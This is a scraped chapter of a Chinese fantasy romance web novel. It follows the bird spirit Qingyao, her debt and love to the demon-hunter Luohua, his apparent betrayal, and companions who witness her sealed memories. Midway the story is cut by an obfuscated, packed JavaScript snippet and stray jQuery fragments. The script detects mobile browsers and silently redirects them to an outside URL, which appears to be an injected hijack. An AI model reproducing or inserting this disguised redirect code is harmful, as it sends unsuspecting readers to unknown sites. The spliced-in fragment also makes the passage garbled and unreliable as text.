树下石凳坐着一人,洛华一手举起杯盏,另一手拿着本书,边喝边看。
听到有人来,他才放下手中之物抬起头问:“身子可好些?”
才过去了几日,身上依然还痛着,只是要比前几日好些了。受伤这段时间,都是他在照顾她,青瑶微微俯身:“承蒙照顾,此等之恩,青瑶感激不尽。”
恩,可是她也不知道她能帮他什么。
她想从这万妖谷出去,差点丢了性命。虽被眼前人所救,可也舍了半生修为。
“不必。”洛华拍了拍旁边的石凳,示意她坐下。
青瑶上前坐下,看了看杯盏里的酒,洛华倒了一杯移至她面前:“尝尝?”
她拿起轻抿了一口。
见青瑶没什么反应,他说:“许是不好喝?这儿简陋,平时没什么人,只有这等酒了。”
青瑶摇了摇头说:“谈不上不好喝,只是和我酿的酒比要逊色些。”
听到这话,洛华像是听到了什么有趣的,一手托着腮盯着她看:“你会酿酒?”
母亲在世时,她跟着母亲学的一手手艺,她不仅会酿酒,她酿出来的酒还算的上是数一数二。
青瑶被盯的脸颊发烫:“等我伤好些了,或许可以让你尝一尝我酿的酒。”
洛华呢,浮阳宗的弟子,从小到大勤苦修炼,若说除了耍剑捉妖之外,也就对点酒感兴趣了。
他酷爱喝酒。
几日过后。
“怎么样?”青瑶满脸期待的看着他。
洛华手上握着杯盏久久没放下,微微蹙眉。
“不好喝?”她心想不应该啊,喝过她酿的酒的人无一人说不好喝,她甚至有点怀疑自己的手法了,莫非是许久没酿?手生疏了?
洛华眉毛舒展开,露出一个温和的笑:“先入口中,是桃花的香气和一点苦涩,喝下去,又苦中带甜,好酒。”
青瑶满意的笑了。
“你救了我,敢问恩人姓名?”青瑶先前也被一人所救,虽然未曾来得及问姓名,可心里却有意识,只为有一日能够凭借名字找到他。
“浮阳宗,洛华。”他觉得没什么好藏着掖着的,他的身份也没什么说不出口的。
哪知道对方直接跪下了,洛华还没反应过来。
“恩人。”
青瑶这辈子都没想到,十年前救她的人在十年后又救了她一次。
十年前她一人逃亡来到万妖谷,身受重伤,在路边被一位少年所捡,那时候的她,尚未化形。
少年将她一直带在身边,那时候她虽未化形但却有意识,她听见别人问他尊姓大名时,他也是这样说的。
浮阳宗,洛华。
照顾了她半月有余,后来她养好了伤,少年带她去山上,将她放了。
他说:“你是只鸟妖,应自由翱翔在九天之上,我今日将你放了,你尚未化形,那便从小做只好妖。”
只是化形后不久,便被一些肆意江湖的捉妖师捉入万妖谷。
从此之后,便困在万妖谷,不得自由。
她勤苦修炼,提高修为,只为有一日能出了这万妖谷,为报恩,也为……还自己一个自由。
“你可曾记得十年前你救过一只青鸟,后来将她带到山上,说要还她自由。”
洛华仔细想了想,觉得有些不可思议:“你是那只青鸟?”
“是。”
他那日救她之时,就觉得眼熟,没想到真有这么巧的事情。
“两次救命之恩,青瑶无以为报。”
那是两条命啊,若不是他,她已经死了两次。
“我在这差不多要待上一月,若是你真要报恩,那便在这一月里多给我酿些酒吧。”洛华又举起酒盏一饮而下。
好酒,真是好酒。
在这一月里,青瑶酿了不少桃花酒,已到桃花谢落之时。
“明日我便要回浮阳宗了,这恩你已然报完,你走吧。”
走,她要走去哪里呢。
“出了这万妖谷,不要再回来了。”
他想说,出了这万妖谷,不要再被抓回来了。
他又向十年前一样,放她自由,放她走。
沉默的一段时间,眼泪已经模糊了青瑶的眼睛:“若我要走,我能去哪里呢,我能跟着你吗?”
她记得他说过的话,他说:“天大地大,哪里都好。”
又是一年桃花季。
青瑶掩去身上的妖气,在镇上的一个小饭馆生活。
她们青鸟妖不仅会酿酒还会制香,那香能掩去身上的妖气。
饭馆里的人来来往往,好不热闹。或许也有妖,只是她们也一样,掩去了身上的妖气。
只在这人间无忧的生活,那是她想要的自由。
“你们听说了吗?听说洛华弟子深重奇毒,命不久矣啊。”
“可惜可惜,我听闻他剑术高超,不是捉妖世家一代奇人吗,怎么受了这遭。”
“命运这事情谁能说的准呢,只可惜若他真死了,这捉妖界倒是少了一位奇人啊!”
青瑶端着茶碗“啪”的一声掉在地下,尽数摔碎,她顾不得这些,差点以为自己听错了。
那三人刚好往打碎方向看去,她猛的向前,“谁?他……中的什么毒?他怎么样了?”青瑶说话的时候,声音都在发抖。
三个人坐在小桌上,突然被吓了一跳,这女子一连气问了三个问题,他们竟不知先回答哪个。
其中一男子见她着急,一句一句回答:“浮阳宗洛华啊,只知道中了奇毒,我们也不知他怎么样了,但听闻命不久矣。”
真的是他……
命不久矣……
青瑶的手也抖的厉害,那另一位大汉看见她这个反应,以为他们认识,便用粗糙的声音安慰道:“小娘子你先别急,洛华可是浮阳宗下一位掌门人,浮阳宗不会丢下他不管的,我听闻自古有一种妖为三青鸟,她的内丹可解天下奇毒,这鸟虽已悉数灭绝,但也未曾可知,浮阳宗一定会找到救他的办法的。”
没有人知道,她就是上古留下来唯一没有被覆灭的三青鸟……
画面场景不断切换,姜雾梨终于明白这是哪里,这里更像是记忆,属于青瑶的记忆。
姜雾梨惊醒,发现陆昭昭和沈云白背对着她,似乎在说些什么。
“昭昭姐。”她刚出声,陆昭昭和沈云白便过来了。
“如何?”
“我做了一个梦,梦见……洛华前辈和青瑶之间的一些回忆。”她将梦中事情重复了一遍。
沈云白:“我和师妹还有十一也和你一样进入了这段记忆中,想必这就是青鸟的记忆了。”
奇怪的是,他们四人都进入了同一段记忆。
“这或许就是洛华前辈和青瑶的往事。”陆昭昭说。
姜雾梨有点不明白,那洛华最后死了吗,他真的是被毒死的吗,为何青瑶会那么恨他?
她看见那有一个站立的背影,路江衍看着那棵桃花树,有些出神。
“美吗?”一抹青色摇扇而来,青瑶也看了一眼桃花树,面上露出笑容。“这结界里一年四季都为春,桃花久开不败,美吗?”她又重复了一遍。
“只可惜都是假象,和他一样都是假象。”
全都是假的,全都是骗她的。
这里的景色是假的,桃树是假的。
她伸手接过一片落下的桃花瓣放在手上碾碎,“我将我一部分记忆封印在这桃花树里,你们方才看见的就是我所封存的记忆,那便是恩。”
当然,还有恨……
“你与洛华前辈的过往我不清楚,我只想知道那些受你之意来到山上的女子如何了?”路江衍缓缓道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371841|199946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>青瑶摇了摇扇子,露出一个阴冷的笑:“当然是被我杀了。”
“杀了?为何?”
“那些女子与你无冤无仇,你为何要将她们杀了?”
她笑得更厉害了:“是啊,无冤无仇,可是那些女子凭什么能够与爱的人相知相守。”
凭什么她不能……
凭什么她就要被男子所丢弃。
路江衍倒是觉得得事情没那么简单,那些女子也并非她所杀。
洛华前辈到死也要护着的人,怎会滥杀无辜。
“你说你恨洛华,那他为你做的那些事情呢,你当真不知?”
好一个他为你做的那些事啊。
“那都是假的,都是假的。”青瑶的肩膀微微颤抖,泛红的眼眶噙着水雾,一滴眼泪砸到地面上。
一瞬间,黯淡无光。
“你这妖,真是傻,既然将自己的半颗内丹剖下,你可知,若你剩下半颗内丹也没了,你会怎么样?”
“你会死啊。”一棵千年老树无奈的看着她。
在这世上,没有什么亲人,除了这棵老槐树和那棵小兰花草,也没有什么善意,除了他……
此时此刻,青瑶满身是伤,她的手臂不断渗出血,痛的她说不出话来。
“你明知捉妖师与我们妖势同水火,你也清楚那颗内丹对你的重要,为何还要去救他啊。”
青瑶吐了口血,地下被染的鲜红,她含糊开口:“因为……他是我的恩人啊……”
那是救了她两次命的恩人啊。
那日在饭馆,她听闻之后,到处找浮阳宗的弟子打听实情,没想到竟是真的,她自愿入浮阳宗剖了半颗内丹,却连他最后一面都没见到,她也不知道他到底怎么样了。
她虽剖了半颗内丹,那些捉妖师却因她是妖,要杀了她。
她拼死逃跑,落了一身的伤,才得以保下一条命。
何其容易。
半年后,她又见到了洛华。
此时的洛华已是浮阳宗人人敬仰的副宗主,剑术也比之前高了不少。
他得知他深重奇毒之时,是她剖丹救他。
后来呢?
“后来我的伤久久不见好,她便带我去小镇上住过我一段时间,我们也因此互相产生了情愫。有一日他的毒发作,我将我剩下的内丹也给了他,我不明白,为何他的毒还会发作,再后来我们住的地方被浮阳宗所知,他带我走了,他说要带我去一个不会被别人所知道的地方,也就是浮山村庄的后山,我当然相信他。”
“他设了一道结界,将我困在此处,说他处理好了浮阳宗的一切就回来找我,我们在此处隐居,没有人会发现我们,没有人会打扰我们,我信了……”
“可是我等啊等,等了好久,终于等到了他,他却跟我说他要与浮阳宗宗主的女儿成亲了,后来我才知道,他一直在骗我,他早就与那女子有婚约,他只不过想骗我身上仅有的内丹。”
这便是恨了。
青瑶低下头,声音再也压不住,眼泪在那一瞬间决堤,心里的最后一根绷着的线也断了。
青瑶努力让自己平静下来,“所以我恨他,他一直都在骗我。”
姜雾梨本身就是一个多愁善感的人,听到这里,她也留下了眼泪。
路江衍看她一眼,不知道从哪掏出来一块帕子,递给她,“擦擦吧,哭的丢人死了。”
姜雾梨还是接过,一边擦一边想,这里除了他们几个也没别人的啊,有什么好丢人的,听到难过的还不能让人哭了,他的心是铁做的吗,这都不哭。
她擦完之后,那张帕子上都是她的眼泪,姜雾梨伸出去的手又收回来,想问:这帕子你还要吗……
路江衍就差没把“你脑子没病吧”这个六个字写在脸上了。
她又木讷的收回帕子,想着洗干净还给他。